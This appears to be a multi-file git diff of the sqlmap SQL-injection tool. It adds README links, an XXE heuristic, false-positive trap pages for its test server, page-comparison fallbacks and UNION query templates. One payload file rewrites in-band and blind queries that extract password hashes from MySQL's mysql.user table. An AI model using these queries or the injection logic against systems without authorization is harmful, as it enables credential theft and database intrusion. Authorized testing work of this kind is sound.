d846fdc47a11a58da9e463a948200f69265181f3dbc38148bfe4141fade10347 thirdparty/identywaf/LICENSE
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/__init__.py
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/magic/__init__.py
4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py
2574a2027b4a63214bad8bd71f28cac66b5748159bf16d63eb2a3e933985b0a5 thirdparty/multipart/multipartpost.py
ef70b88cc969a3e259868f163ad822832f846196e3f7d7eccb84958c80b7f696 thirdparty/odict/__init__.py
9a8186aeb9553407f475f59d1fab0346ceab692cf4a378c15acd411f271c8fdb thirdparty/odict/ordereddict.py
3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84 thirdparty/pydes/__init__.py
4c9d2c630064018575611179471191914299992d018efdc861a7109f3ec7de5e thirdparty/pydes/pyDes.py
c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df thirdparty/six/__init__.py
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/socks/__init__.py
7027e214e014eb78b7adcc1ceda5aca713a79fc4f6a0c52c9da5b3e707e6ffe9 thirdparty/socks/LICENSE
c186b5d44edbeb8b536ce19afb476fec67b008a6fc6a8683f1866cea441051b1 thirdparty/socks/socks.py
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/termcolor/__init__.py
b14474d467c70f5fe6cb8ed624f79d881c04fe6aeb7d406455da624fe8b3c0df thirdparty/termcolor/termcolor.py
4db695470f664b0d7cd5e6b9f3c94c8d811c4c550f37f17ed7bdab61bc3bdefc thirdparty/wininetpton/__init__.py
ac055d6ae1f7a99d4334a4e5328dae1758e7a84f01292acd1bb5105ee4f26927 thirdparty/wininetpton/win_inet_pton.py

View file

@ -35,8 +35,8 @@
<!-- https://github.com/dev-sec/mysql-baseline/issues/35 -->
<!-- https://stackoverflow.com/a/31122246 -->
<passwords>
<inband query="SELECT user,authentication_string FROM mysql.user" condition="user"/>
<blind query="SELECT DISTINCT(authentication_string) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>
<inband query="SELECT user,IF(LEFT(authentication_string,3)=0x244124,CONCAT(0x246d7973716c,LEFT(authentication_string,6),0x2a,INSERT(HEX(SUBSTR(authentication_string,8)),41,0,0x2a)),authentication_string) FROM mysql.user" condition="user"/>
<blind query="SELECT DISTINCT(IF(LEFT(authentication_string,3)=0x244124,CONCAT(0x246d7973716c,LEFT(authentication_string,6),0x2a,INSERT(HEX(SUBSTR(authentication_string,8)),41,0,0x2a)),authentication_string)) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>
</passwords>
<privileges>
<inband query="SELECT grantee,privilege_type FROM INFORMATION_SCHEMA.USER_PRIVILEGES" condition="grantee" query2="SELECT user,select_priv,insert_priv,update_priv,delete_priv,create_priv,drop_priv,reload_priv,shutdown_priv,process_priv,file_priv,grant_priv,references_priv,index_priv,alter_priv,show_db_priv,super_priv,create_tmp_table_priv,lock_tables_priv,execute_priv,repl_slave_priv,repl_client_priv,create_view_priv,show_view_priv,create_routine_priv,alter_routine_priv,create_user_priv FROM mysql.user" condition2="user"/>

View file

@ -46,8 +46,6 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
* The `Chardet` library located under `thirdparty/chardet/`.
Copyright (C) 2008, Mark Pilgrim.
* The `MultipartPost` library located under `thirdparty/multipart/`.
Copyright (C) 2006, Will Holcomb.
* The `icmpsh` tool located under `extra/icmpsh/`.
Copyright (C) 2010, Nico Leidecker, Bernardo Damele.
@ -270,8 +268,6 @@ be bound by the terms and conditions of this License Agreement.
Copyright (C) 2024, Marcel Hellkamp.
* The `identYwaf` library located under `thirdparty/identywaf/`.
Copyright (C) 2019-2021, Miroslav Stampar.
* The `ordereddict` library located under `thirdparty/odict/`.
Copyright (C) 2009, Raymond Hettinger.
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
Copyright (C) 2010-2024, Benjamin Peterson.
* The `Termcolor` library located under `thirdparty/termcolor/`.

View file

@ -65,4 +65,5 @@
* الأسئلة الشائعة: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* تويتر: [@sqlmap](https://x.com/sqlmap)
* العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* ساحة التدريب: https://sekumart.sekuripy.hr
* لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -47,4 +47,5 @@ sqlmap работи самостоятелно с [Python](https://www.python.or
* Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Площадка за упражнения: https://sekumart.sekuripy.hr
* Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -58,5 +58,6 @@ SQLMap-এর সম্পূর্ণ ফিচার, ক্ষমতা, এ
* সচরাচর জিজ্ঞাসিত প্রশ্ন (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* ডেমো ভিডিও: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* অনুশীলন সাইট: https://sekumart.sekuripy.hr
* স্ক্রিনশট: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -62,6 +62,7 @@ sqlmap لە دەرەوەی سندوق کاردەکات لەگەڵ [Python](https
* پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* گۆڕەپانی تاقیکردنەوە: https://sekumart.sekuripy.hr
* وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە
وەرگێڕانەکان

View file

@ -46,4 +46,5 @@ Links
* Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Spielwiese: https://sekumart.sekuripy.hr
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -46,4 +46,5 @@ Enlaces
* Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Campo de pruebas: https://sekumart.sekuripy.hr
* Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -81,4 +81,5 @@
* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* توییتر: [@sqlmap](https://x.com/sqlmap)
* رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* زمین تمرین: https://sekumart.sekuripy.hr
* تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -46,4 +46,5 @@ Liens
* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Terrain de jeu: https://sekumart.sekuripy.hr
* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -47,4 +47,5 @@
* Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Χώρος δοκιμών: https://sekumart.sekuripy.hr
* Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -47,4 +47,5 @@ Poveznice
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Vježbalište: https://sekumart.sekuripy.hr
* Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -50,4 +50,5 @@ Tautan
* Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos)
* Arena latihan: https://sekumart.sekuripy.hr
* Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -46,5 +46,6 @@ sqlmap [Python](https://www.python.org/download/) संस्करण **2.7**
* अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* ट्विटर: [@sqlmap](https://x.com/sqlmap)
* डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* अभ्यास स्थल: https://sekumart.sekuripy.hr
* स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
*

View file

@ -47,4 +47,5 @@ Link
* Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Campo di prova: https://sekumart.sekuripy.hr
* Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -48,4 +48,5 @@ sqlmapの概要、機能の一覧、全てのオプションやスイッチの
* よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* プレイグラウンド: https://sekumart.sekuripy.hr
* スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -46,4 +46,5 @@ sqlmap ნებისმიერ პლატფორმაზე მუშ
* ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* სავარჯიშო სივრცე: https://sekumart.sekuripy.hr
* ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -47,4 +47,5 @@ sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록
* 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* 트위터: [@sqlmap](https://x.com/sqlmap)
* 시연 영상: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* 플레이그라운드: https://sekumart.sekuripy.hr
* 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -47,4 +47,5 @@ Links
* Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Speeltuin: https://sekumart.sekuripy.hr
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -47,4 +47,5 @@ Odnośniki
* Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Piaskownica: https://sekumart.sekuripy.hr
* Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -47,4 +47,5 @@ Links
* Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos)
* Playground: https://sekumart.sekuripy.hr
* Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -47,4 +47,5 @@ Linkovi
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Poligon: https://sekumart.sekuripy.hr
* Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -47,4 +47,5 @@ sqlmap работает из коробки с [Python](https://www.python.org/d
* Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Песочница: https://sekumart.sekuripy.hr
* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -47,4 +47,5 @@ Linky
* Často kladené otázky (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Cvičisko: https://sekumart.sekuripy.hr
* Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -50,4 +50,5 @@ Bağlantılar
* Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Deneme alanı: https://sekumart.sekuripy.hr
* Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -47,4 +47,5 @@ sqlmap «працює з коробки» з [Python](https://www.python.org/dow
* Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Пісочниця: https://sekumart.sekuripy.hr
* Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -49,4 +49,5 @@ Liên kết
* Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Sân tập: https://sekumart.sekuripy.hr
* Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -46,4 +46,5 @@ sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.7** 和
* 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* 靶场: https://sekumart.sekuripy.hr
* 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View file

@ -12,13 +12,11 @@ chmod +x .git/hooks/pre-commit
PROJECT="../../"
SETTINGS="../../lib/core/settings.py"
DIGEST="../../data/txt/sha256sums.txt"
declare -x SCRIPTPATH="${0}"
PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT
SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS
DIGEST_FULLPATH=${SCRIPTPATH%/*}/$DIGEST
git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0
@ -37,6 +35,3 @@ then
fi
git add "$SETTINGS_FULLPATH"
fi
cd $PROJECT_FULLPATH && git ls-files | sort | uniq | grep -Pv '^\.|sha256' | xargs sha256sum > $DIGEST_FULLPATH && cd -
git add "$DIGEST_FULLPATH"

View file

@ -17,6 +17,7 @@ import sqlite3
import string
import sys
import threading
import time
import traceback
PY3 = sys.version_info >= (3, 0)
@ -1044,6 +1045,57 @@ class ReqHandler(BaseHTTPRequestHandler):
self.wfile.write(output.encode(UNICODE_ENCODING))
return
if self.url == "/fp":
# False-positive battery traps (exercised on demand by '--fp-test'). Every trap is
# deliberately NON-injectable but baits a specific FP defense; sqlmap must report "not
# injectable" for all of them (each is paired, in FP_TESTS, with a real injectable twin).
trap = self.params.get("trap", "reflect")
idv = self.params.get("id", "1")
def _rnd(n=8):
return "".join(random.choice("0123456789abcdef") for _ in range(n))
if trap == "intcast":
# parameterized int lookup: id=1 -> row, non-int (e.g. "1 AND 1=1") -> empty. A boolean
# payload yields a differential yet it is NOT SQLi -> the false-positive check must reject it.
try:
hit = int(idv) in (1, 2, 3)
except ValueError:
hit = False
output = "<html><body><b>SQL results:</b><table border=\"1\">%s</table></body></html>" % ("<tr><td>%s</td><td>luther</td><td>blisset</td></tr>" % idv if hit else "")
elif trap == "structrand":
# heavy dynamic TEXT (defeats dynamic-content removal) + STABLE structure; id is not
# reflected into the structure -> stresses the structure-aware comparison oracle.
rows = "".join("<tr><td>%s</td><td>%s</td></tr>" % (_rnd(), _rnd()) for _ in range(3))
output = ("<html><head><title>Report</title></head><body><div class=\"csrf\">%s</div>"
"<nav class=\"top\">token %s</nav><table id=\"grid\" class=\"res\">%s</table>"
"<div class=\"foot\">%s</div></body></html>" % (_rnd(), _rnd(), rows, _rnd()))
elif trap == "acceptall":
# 200 + identical content for EVERYTHING incl. garbage -> the reads-everything-true channel.
output = "<html><body><b>OK</b> welcome to the portal</body></html>"
elif trap == "reflect":
# echoes the parameter verbatim (reflection) with no SQL sink.
output = "<html><body>you searched for: %s</body></html>" % idv
elif trap == "errors":
# DB-error-looking text for any non-baseline input -> baits error-based detection.
output = "<html><body>Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result</body></html>" if idv != "1" else "<html><body><b>SQL results:</b><table><tr><td>1</td><td>luther</td></tr></table></body></html>"
elif trap == "lengthrand":
# response length varies at random (not with the payload) -> baits length-based heuristics.
output = "<html><body>ok %s</body></html>" % _rnd(random.choice([4, 40, 400]))
elif trap == "slowrand":
# random latency, uncorrelated with the payload -> baits time-based detection.
time.sleep(random.choice([0, 0, 0, 1]))
output = "<html><body>ok %s</body></html>" % _rnd()
else:
output = "<html><body>?</body></html>"
self.send_response(OK)
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
self.send_header("Connection", "close")
self.end_headers()
self.wfile.write(output.encode(UNICODE_ENCODING))
return
if self.url == '/':
if not any(_ in self.params for _ in ("id", "query")):
self.send_response(OK)

View file

@ -57,6 +57,7 @@ from lib.core.dicts import HEURISTIC_NULL_EVAL
from lib.core.enums import DBMS
from lib.core.enums import HASHDB_KEYS
from lib.core.enums import HEURISTIC_TEST
from lib.core.enums import POST_HINT
from lib.core.enums import HTTP_HEADER
from lib.core.enums import HTTPMETHOD
from lib.core.enums import NOTE
@ -86,6 +87,7 @@ from lib.core.settings import INFERENCE_EQUALS_CHAR
from lib.core.settings import LDAP_ERROR_REGEX
from lib.core.settings import SSTI_ERROR_REGEX
from lib.core.settings import XPATH_ERROR_REGEX
from lib.core.settings import XXE_ERROR_REGEX
from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
from lib.core.settings import IPS_WAF_CHECK_RATIO
from lib.core.settings import IPS_WAF_CHECK_TIMEOUT
@ -1214,6 +1216,13 @@ def heuristicCheckSqlInjection(place, parameter):
if conf.beep:
beep()
if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""):
infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')"
logger.info(infoMsg)
if conf.beep:
beep()
kb.disableHtmlDecoding = False
kb.heuristicMode = False
@ -1274,7 +1283,9 @@ def checkDynamicContent(firstPage, secondPage):
seqMatcher.set_seq1(firstPage)
seqMatcher.set_seq2(secondPage)
ratio = seqMatcher.quick_ratio()
except MemoryError:
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
# difflib can fail on pathological input or, rarely, with interpreter-level
# errors under heavy threading; degrade to "undetermined" instead of crashing
ratio = None
if ratio is None:
@ -1289,6 +1300,27 @@ def checkDynamicContent(firstPage, secondPage):
count += 1
if count > conf.retries:
# Last resort before the (lossy) '--text-only' fallback: if the page is byte-unstable
# but STRUCTURALLY stable - an identical, non-empty tag/class/id skeleton across
# requests - base the comparison on that value-free structure instead. Dynamic text
# (e.g. per-render result rows) then no longer masks an injection whose signal is
# structural (the HTML counterpart of the structure-aware JSON comparison). Content
# with no usable structure (empty skeleton, e.g. random/binary bodies) falls through
# to '--text-only' as before.
skeleton = extractStructuralTokens(firstPage)
if skeleton and skeleton == extractStructuralTokens(secondPage):
kb.pageStructurallyStable = True
if kb.nullConnection:
debugMsg = "turning off NULL connection support because of structural page comparison"
logger.debug(debugMsg)
kb.nullConnection = None
infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap "
infoMsg += "will base the page comparison on the page structure"
logger.info(infoMsg)
return
warnMsg = "target URL content appears to be too dynamic. "
warnMsg += "Switching to '--text-only' "
logger.warning(warnMsg)
@ -1394,26 +1426,7 @@ def checkStability():
raise SqlmapNoneDataException(errMsg)
else:
# Before engaging the (lossy) dynamic-content removal / '--text-only' escalation, check
# whether the page is structurally stable (identical tag/class/id skeleton across the two
# requests) despite differing text. If so, base the comparison on that value-free structure
# so that dynamic content (e.g. per-render result rows) does not mask an injection. This is
# the HTML counterpart of the structure-aware JSON comparison
if firstPage and secondPage and extractStructuralTokens(firstPage) == extractStructuralTokens(secondPage):
kb.pageStructurallyStable = True
if kb.nullConnection:
debugMsg = "turning off NULL connection "
debugMsg += "support because of structural page comparison"
logger.debug(debugMsg)
kb.nullConnection = None
infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap "
infoMsg += "will base the page comparison on the page structure"
logger.info(infoMsg)
else:
checkDynamicContent(firstPage, secondPage)
checkDynamicContent(firstPage, secondPage)
return kb.pageStable

View file

@ -529,8 +529,8 @@ def start():
checkWaf()
if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti)) and (conf.reportJson or conf.resultsFile):
singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti) findings; these are reported on the console only")
if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)) and (conf.reportJson or conf.resultsFile):
singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) findings; these are reported on the console only")
if conf.graphql:
from lib.techniques.graphql.inject import graphqlScan
@ -557,13 +557,19 @@ def start():
sstiScan()
continue
if conf.xxe:
from lib.techniques.xxe.inject import xxeScan
xxeScan()
continue
if conf.nullConnection:
checkNullConnection()
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique:
# NOTE: this is not needed anymore, leaving only to display
# a warning message to the user in case the page is not stable
if not any((conf.string, conf.notString, conf.regexp)) and any(_ in conf.technique for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.UNION)):
# NOTE: besides the not-stable warning, this marks dynamic content for removal, which
# UNION column-count detection relies on too (it compares pages) - so it must run when
# UNION is tested even if BOOLEAN is excluded (e.g. '--technique=U' on a dynamic page)
checkStability()
# Do a little prioritization reorder of a testable parameter list

View file

@ -958,12 +958,19 @@ class Agent(object):
if not infoFile:
query = _collate(query)
# A fuzzy-discovered per-column type template (kb.unionTemplate, e.g. ['1234', '%s', '5678'])
# forces type-compatible fillers on strict DBMSes (e.g. Apache Derby, which rejects bare NULL
# and demands UNION column-type parity); '%s' marks the slot carrying the injected expression.
template = kb.unionTemplate if isinstance(kb.unionTemplate, (list, tuple)) and len(kb.unionTemplate) == count else None
for element in xrange(0, count):
if element > 0:
unionQuery += ','
if conf.uValues and conf.uValues.count(',') + 1 == count:
unionQuery += conf.uValues.split(',')[element]
elif template is not None:
unionQuery += query if template[element] == "%s" else template[element]
elif element == position:
unionQuery += query
else:
@ -985,7 +992,9 @@ class Agent(object):
if element > 0:
unionQuery += ','
if element == position:
if template is not None:
unionQuery += _collate(multipleUnions) if template[element] == "%s" else template[element]
elif element == position:
unionQuery += _collate(multipleUnions)
else:
unionQuery += char

View file

@ -200,7 +200,7 @@ from thirdparty.clientform.clientform import ParseResponse
from thirdparty.clientform.clientform import ParseError
from thirdparty.colorama.initialise import init as coloramainit
from thirdparty.magic import magic
from thirdparty.odict import OrderedDict
from collections import OrderedDict
from thirdparty.six import unichr as _unichr
from thirdparty.six.moves import collections_abc as _collections
from thirdparty.six.moves import configparser as _configparser
@ -1582,11 +1582,10 @@ def setPaths(rootPath):
paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads")
# sqlmap files
paths.CATALOG_IDENTIFIERS = os.path.join(paths.SQLMAP_TXT_PATH, "catalog-identifiers.txt")
paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt")
paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt")
paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt')
paths.DIGEST_FILE = os.path.join(paths.SQLMAP_TXT_PATH, "sha256sums.txt")
paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt")
paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt")
paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt")
@ -2099,7 +2098,9 @@ def getFileType(filePath):
desc = getText(desc)
if desc == getText(magic.MAGIC_UNKNOWN_FILETYPE):
content = openFile(filePath, "rb", encoding=None).read()
_ = openFile(filePath, "rb", encoding=None)
content = _.read()
_.close()
try:
content.decode()
@ -2342,9 +2343,14 @@ def showStaticWords(firstPage, secondPage, minLength=3):
infoMsg = "static words: "
if firstPage and secondPage:
match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage))
commonText = firstPage[match[0]:match[0] + match[2]]
commonWords = getPageWordSet(commonText)
try:
match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage))
commonText = firstPage[match[0]:match[0] + match[2]]
commonWords = getPageWordSet(commonText)
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
# difflib can fail on pathological input / interpreter-level hiccups; skip
# the static-word hint rather than abort (see findDynamicContent / comparison.py)
commonWords = None
else:
commonWords = None
@ -2598,31 +2604,23 @@ def calculateDeltaSeconds(start):
def initCommonOutputs():
"""
Initializes dictionary containing common output values used by "good samaritan" feature
Initializes the per-context dictionary of common identifier names used by the
predictive-inference feature to shortcut blind table/column name enumeration.
Sourced directly from the curated '--common-tables'/'--common-columns' wordlists
(real-world, app-focused names); prediction only ever reorders the charset or
confirms a whole value, so it never penalizes a miss.
>>> initCommonOutputs(); "information_schema" in kb.commonOutputs["Databases"]
>>> initCommonOutputs(); "users" in kb.commonOutputs["Tables"]
True
"""
kb.commonOutputs = {}
key = None
with openFile(paths.COMMON_OUTPUTS, 'r') as f:
for line in f:
if line.find('#') != -1:
line = line[:line.find('#')]
line = line.strip()
if len(line) > 1:
if line.startswith('[') and line.endswith(']'):
key = line[1:-1]
elif key:
if key not in kb.commonOutputs:
kb.commonOutputs[key] = set()
if line not in kb.commonOutputs[key]:
kb.commonOutputs[key].add(line)
for key, path in (("Tables", paths.COMMON_TABLES), ("Columns", paths.COMMON_COLUMNS)):
try:
kb.commonOutputs[key] = set(getFileItems(path))
except SqlmapSystemException:
kb.commonOutputs[key] = set()
def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
"""
@ -2666,19 +2664,17 @@ def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, un
return retVal if not unique else list(retVal.keys())
def goGoodSamaritan(prevValue, originalCharset):
def predictValue(prevValue, originalCharset):
"""
Function for retrieving parameters needed for common prediction (good
samaritan) feature.
Predictive-inference helper: given the value retrieved so far (prefix), consult the
per-context common-identifier set (kb.commonOutputs[kb.partRun], from the common-
tables/common-columns wordlists) to shortcut blind extraction.
prevValue: retrieved query output so far (e.g. 'i').
Returns commonValue if there is a complete single match (in kb.partRun
of txt/common-outputs.txt under kb.partRun) regarding parameter
prevValue. If there is no single value match, but multiple, commonCharset is
returned containing more probable characters (retrieved from matched
values in txt/common-outputs.txt) together with the rest of charset as
otherCharset.
Returns commonValue when a single wordlist entry matches the prefix (the whole value
can be confirmed in one request); otherwise commonCharset holds the more probable
